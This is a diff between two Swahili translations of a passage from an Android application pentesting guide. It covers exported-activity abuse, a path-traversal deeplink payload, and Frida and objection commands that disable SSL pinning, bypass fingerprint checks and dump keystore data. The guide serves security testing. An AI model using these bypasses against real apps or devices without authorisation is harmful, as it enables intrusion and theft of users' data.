> Unapounda emulator mpya kwenye jukwaa lolote kumbuka kwamba kadri skrini inavyokuwa kubwa, ndivyo emulator itakavyokuwa polepole. Hivyo chagua skrini ndogo ikiwa inawezekana. > Unapounda emulator mpya kwenye jukwaa lolote kumbuka kwamba kadri skrini inavyokuwa kubwa, ndivyo emulator itakavyokuwa polepole. Hivyo chagua skrini ndogo ikiwa inawezekana.
Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kubofya kitufe kilichochorwa kwa rangi nyekundu kwenye picha ifuatayo: Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kubofya kitufe kilichochorwa kwa rangi nyekundu katika picha ifuatayo:
![](<../../images/image (277).png>) ![](<../../images/image (277).png>)
@ -257,13 +257,13 @@ Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **k
1. **Mipangilio**. 1. **Mipangilio**.
2. (Kuanzia Android 8.0) Chagua **Mfumo**. 2. (Kuanzia Android 8.0) Chagua **Mfumo**.
3. Chagua **Kuhusu simu**. 3. Chagua **Kuhusu simu**.
4. Bonyeza **Nambari ya Ujenzi** mara 7. 4. Bonyeza **Nambari ya kujenga** mara 7.
5. Rudi nyuma na utapata **Chaguzi za Mwandishi**. 5. Rudi nyuma na utapata **Chaguzi za Wataalamu**.
> Mara baada ya kufunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\ > Mara tu umepakia programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijamii kwa kutumia MobSF uchambuzi wa kijamii + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye. > Nitapendekeza **kufanya uchambuzi huu wa awali wa kijamii kwa kutumia MobSF uchambuzi wa kijamii + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
### Kuvuja kwa Data Isiyokusudiwa ### Kuvuja kwa Data zisizokusudiwa
**Kumbukumbu** **Kumbukumbu**
@ -275,7 +275,7 @@ Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji**
**Kuhifadhi Kumbukumbu za Nakala/Pasta** **Kuhifadhi Kumbukumbu za Nakala/Pasta**
Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika programu, lakini unatoa hatari kwani **programu nyingine** zinaweza **kufikia** clipboard, na hivyo kufichua data nyeti. Ni muhimu **kuondoa kazi za nakala/pasta** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia kuvuja kwa data. Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika programu, lakini unatoa hatari kwani **programu nyingine** zinaweza **kufikia** clipboard, na hivyo kuweza kufichua data nyeti. Ni muhimu **kuondoa kazi za nakala/pasta** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia kuvuja kwa data.
**Kumbukumbu za Kuanguka** **Kumbukumbu za Kuanguka**
@ -285,7 +285,7 @@ Kama pentester, **jaribu kuangalia kumbukumbu hizi**.
**Data za Uchambuzi Zinatumwa kwa Vyama vya Tatu** **Data za Uchambuzi Zinatumwa kwa Vyama vya Tatu**
Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inapendekezwa **kukamata trafiki ya programu** na kuangalia ikiwa kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu. Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inapendekezwa **kukamata trafiki ya programu** na kuangalia kama kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu.
### SQLite DBs ### SQLite DBs
@ -303,12 +303,12 @@ Drozer ni chombo muhimu kwa **kuvunjia shughuli zilizotolewa, huduma zilizotolew
### Kuvunja Shughuli Zilizotolewa ### Kuvunja Shughuli Zilizotolewa
[**Soma hii ikiwa unataka kufreshi kile ni Shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ [**Soma hii ikiwa unataka kufreshi kile kilicho shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia. Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia.
**Kupita Uthibitishaji** **Kupita Uthibitishaji**
Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.** Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **kuipata.**
[**Jifunze jinsi ya kuvunja shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities) [**Jifunze jinsi ya kuvunja shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities)
@ -319,14 +319,14 @@ Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb:
```bash ```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity adb shell am start -n com.example.demo/com.example.test.MainActivity
``` ```
**NOTE**: MobSF itagundua kama ni hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), inaonekana hii ni hatari tu katika toleo za zamani (API versions < 21). **NOTE**: MobSF itagundua kama hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), inaonekana hii ni hatari tu katika toleo za zamani (API versions < 21).
> [!TIP] > [!TIP]
> Kumbuka kwamba kupita kwa idhini si kila wakati udhaifu, itategemea jinsi kupita kunavyofanya kazi na ni taarifa gani zinazoonyeshwa. > Kumbuka kwamba kupita kwa idhini si kila wakati udhaifu, itategemea jinsi kupita kunavyofanya kazi na ni taarifa gani zinazoonyeshwa.
**Kuvuja kwa taarifa nyeti** **Kuvuja kwa taarifa nyeti**
**Shughuli zinaweza pia kurudisha matokeo**. Ikiwa unafanikiwa kupata shughuli iliyosambazwa na isiyo na ulinzi inayoita **`setResult`** na **kurudisha taarifa nyeti**, kuna uvujaji wa taarifa nyeti. **Shughuli zinaweza pia kurudisha matokeo**. Ikiwa unapata shughuli iliyosambazwa na isiyo na ulinzi inayoita **`setResult`** na **kurudisha taarifa nyeti**, kuna uvujaji wa taarifa nyeti.
#### Tapjacking #### Tapjacking
@ -382,7 +382,7 @@ Kila wakati unapotafuta deeplink hakikisha kuwa **haipokei data nyeti (kama nywi
**Parameters in path** **Parameters in path**
Unapaswa **kuangalia pia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ Unapaswa **kuangalia pia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **account takeover** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio na udhaifu ulitumia njia sahihi) na udhaifu mwingine wowote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/). Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio hatarini unatumia njia sahihi) na hatari nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
**More examples** **More examples**
@ -391,12 +391,12 @@ Ripoti ya [bug bounty](https://hackerone.com/reports/855618) kuhusu viungo (_/.w
### Transport Layer Inspection and Verification Failures ### Transport Layer Inspection and Verification Failures
- **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP. - **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP.
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Udhaifu huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data. - **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), ikiruhusu washambuliaji kufungua data.
- **Kuenea kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu. - **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu.
#### Certificate Verification #### Certificate Verification
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina. Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu mipangilio isiyo salama ya TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama inaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia hatari, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
#### SSL Pinning #### SSL Pinning
@ -404,9 +404,9 @@ SSL Pinning ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhi
#### Traffic Inspection #### Traffic Inspection
Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hii, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti ya CA ya kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hiki, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti cha CA cha kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea mafunzo haya**](make-apk-accept-ca-certificate.md). Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Mipangilio ya Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Mipangilio ya Usalama wa Mtandao, [**rejelea mafunzo haya**](make-apk-accept-ca-certificate.md).
Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**](flutter.md). Hii ni kwa sababu, kuongeza cheti kwenye duka hakutafanya kazi kwani Flutter ina orodha yake ya CAs halali. Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**](flutter.md). Hii ni kwa sababu, kuongeza cheti kwenye duka hakutafanya kazi kwani Flutter ina orodha yake ya CAs halali.
@ -414,20 +414,20 @@ Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**]
Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya HTTPS. Njia mbalimbali zinapatikana kwa kusudi hili: Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya HTTPS. Njia mbalimbali zinapatikana kwa kusudi hili:
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning na [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha mpya, na hii haitafanya kazi kila wakati. - Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa kutumia [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha upya, na hii haitafanya kazi kila wakati.
- Unaweza kutumia **Frida** (iliyajadiliwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Unaweza kutumia **Frida** (iliyozungumziwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF dynamic analysis** (iliyofafanuliwa hapa chini) - Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (iliyofafanuliwa hapa chini)
- Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) - Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities #### Looking for Common Web Vulnerabilities
Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza udhaifu hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine. Ni muhimu pia kutafuta hatari za kawaida za wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza hatari hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
### Frida ### Frida
[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\ [Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukimbia kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\ **Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati tabia, kubadilisha thamani, kutoa thamani, kuendesha code tofauti...**\
Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida. Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida.
- Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/index.html) - Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/index.html)
@ -455,9 +455,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
``` ```
### **Data nyeti katika Keystore** ### **Data nyeti katika Keystore**
Katika Android, Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa ruhusa ya kutosha bado **inawezekana kuipata**. Kadri programu zinavyotenda kuhifadhi hapa **data nyeti katika maandiko wazi**, pentests zinapaswa kuangalia kwa mtumiaji wa root au mtu mwenye ufikiaji wa kimwili kwenye kifaa anaweza kuwa na uwezo wa kuiba data hii. Katika Android, Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa ruhusa ya kutosha bado **inawezekana kuipata**. Kadri programu zinavyotenda kuhifadhi hapa **data nyeti katika maandiko wazi**, pentests zinapaswa kuangalia kwa ajili yake kama mtumiaji wa root au mtu mwenye ufikiaji wa kimwili wa kifaa anaweza kuwa na uwezo wa kuiba data hii.
Hata kama programu imehifadhi data katika keystore, data hiyo inapaswa kuwa imefungwa. Hata kama programu imehifadhi data katika keystore, data inapaswa kuwa imefungwa.
Ili kufikia data ndani ya keystore unaweza kutumia script hii ya Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) Ili kufikia data ndani ya keystore unaweza kutumia script hii ya Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash ```bash
@ -465,17 +465,17 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
``` ```
### **Fingerprint/Biometrics Bypass** ### **Fingerprint/Biometrics Bypass**
Kwa kutumia skripti ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:** Kwa kutumia script ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:**
```bash ```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package> frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
``` ```
### **Picha za Muktadha** ### **Picha za Muktadha**
Wakati unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka. Unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka.
Hata hivyo, ikiwa picha hii ina **taarifa nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua taarifa hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia). Hata hivyo, ikiwa picha hii ina **habari nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua habari hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
Picha hizo kwa kawaida huhifadhiwa karibu na: **`/data/system_ce/0/snapshots`** Picha hizo kwa kawaida huhifadhiwa katika: **`/data/system_ce/0/snapshots`**
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE** katika mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama. Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE** katika mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
```bash ```bash
@ -487,7 +487,7 @@ Chombo hiki kinaweza kukusaidia kusimamia zana mbalimbali wakati wa uchambuzi wa
### Kuingilia kwa Intent ### Kuingilia kwa Intent
Wakuu wa programu mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari. Wakuu wa programu mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo vinavyoshughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha kuingilia kwa Intents zenye uharibifu. Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha kuingilia kwa Intents zenye uharibifu.
@ -502,11 +502,11 @@ Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivy
Labda unajua kuhusu aina hii ya udhaifu kutoka kwa Wavuti. Lazima uwe makini sana na udhaifu huu katika programu ya Android: Labda unajua kuhusu aina hii ya udhaifu kutoka kwa Wavuti. Lazima uwe makini sana na udhaifu huu katika programu ya Android:
- **SQL Injection:** Unaposhughulikia maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyowekwa. - **SQL Injection:** Unaposhughulika na maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyowekwa.
- **JavaScript Injection (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled). - **JavaScript Injection (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Inclusion ya Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled). - **Inclusion ya Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Cookies za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, cookie haifutwi au inaweza hata kuhifadhiwa kwenye diski. - **Cookies za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, cookie haifutwi au inaweza hata kuhifadhiwa kwenye diski.
- [**Lipu la Usalama** katika cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) - [**Bendera Salama** katika cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
--- ---
@ -552,8 +552,8 @@ MobSF pia inakuwezesha kupakia **scripts za Frida** zako mwenyewe (ili kutuma ma
Zaidi ya hayo, una baadhi ya kazi za ziada za Frida: Zaidi ya hayo, una baadhi ya kazi za ziada za Frida:
- **Enumerate Loaded Classes**: Itachapisha kila darasa lililopakiwa - **Enumerate Loaded Classes**: Itachapisha kila darasa lililopakiwa
- **Capture Strings**: Itachapisha kila nyenzo iliyokamatwa wakati wa kutumia programu (sauti nyingi) - **Capture Strings**: Itachapisha kila mfuatano wa maandiko wakati wa kutumia programu (sauti nyingi)
- **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyesha nyenzo 2 zinazolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo. - **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyesha maandiko 2 yanayolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo.
- **Enumerate Class Methods**: Weka jina la darasa (kama "java.io.File") na itachapisha mbinu zote za darasa hilo. - **Enumerate Class Methods**: Weka jina la darasa (kama "java.io.File") na itachapisha mbinu zote za darasa hilo.
- **Search Class Pattern**: Tafuta madarasa kwa muundo - **Search Class Pattern**: Tafuta madarasa kwa muundo
- **Trace Class Methods**: **Trace** **darasa zima** (ona ingizo na matokeo ya mbinu zote za darasa hilo). Kumbuka kwamba kwa kawaida MobSF inafuatilia mbinu kadhaa za kuvutia za Android Api. - **Trace Class Methods**: **Trace** **darasa zima** (ona ingizo na matokeo ya mbinu zote za darasa hilo). Kumbuka kwamba kwa kawaida MobSF inafuatilia mbinu kadhaa za kuvutia za Android Api.
@ -573,13 +573,13 @@ receivers
``` ```
**HTTP tools** **HTTP tools**
Wakati trafiki ya http inakamatwa unaweza kuona mtazamo mbaya wa trafiki iliyokamatwa kwenye "**HTTP(S) Traffic**" chini au mtazamo mzuri kwenye "**Start HTTPTools**" kitufe kibichi. Kutoka kwenye chaguo la pili, unaweza **kutuma** **maombi yaliyokamatwa** kwa **proxies** kama Burp au Owasp ZAP.\ Wakati trafiki ya http inakamatwa unaweza kuona mtazamo mbaya wa trafiki iliyokamatwa kwenye "**HTTP(S) Traffic**" chini au mtazamo mzuri kwenye "**Start HTTPTools**" kijani chini. Kutoka kwenye chaguo la pili, unaweza **kutuma** **maombi yaliyokamatwa** kwa **proxies** kama Burp au Owasp ZAP.\
Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTools chagua ombi_ --> bonyeza "**Send to Fuzzer**" --> _chagua anwani ya proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTools chagua ombi_ --> bonyeza "**Send to Fuzzer**" --> _chagua anwani ya proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz maombi ya http** na kutafuta udhaifu. Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz http requests** na kutafuta udhaifu.
> [!TIP] > [!TIP]
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya: > Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
> >
> ``` > ```
> adb shell settings put global http_proxy :0 > adb shell settings put global http_proxy :0
@ -592,13 +592,13 @@ Chombo hiki kitatumia **Hooks** kukujulisha **kila kinachotokea katika programu*
### [Yaazhini](https://www.vegabird.com/yaazhini/) ### [Yaazhini](https://www.vegabird.com/yaazhini/)
Hii ni **chombo kizuri kufanya uchambuzi wa static na GUI** Hii ni **chombo kizuri kufanya uchambuzi wa statiki na GUI**
![](<../../images/image (741).png>) ![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark) ### [Qark](https://github.com/linkedin/qark)
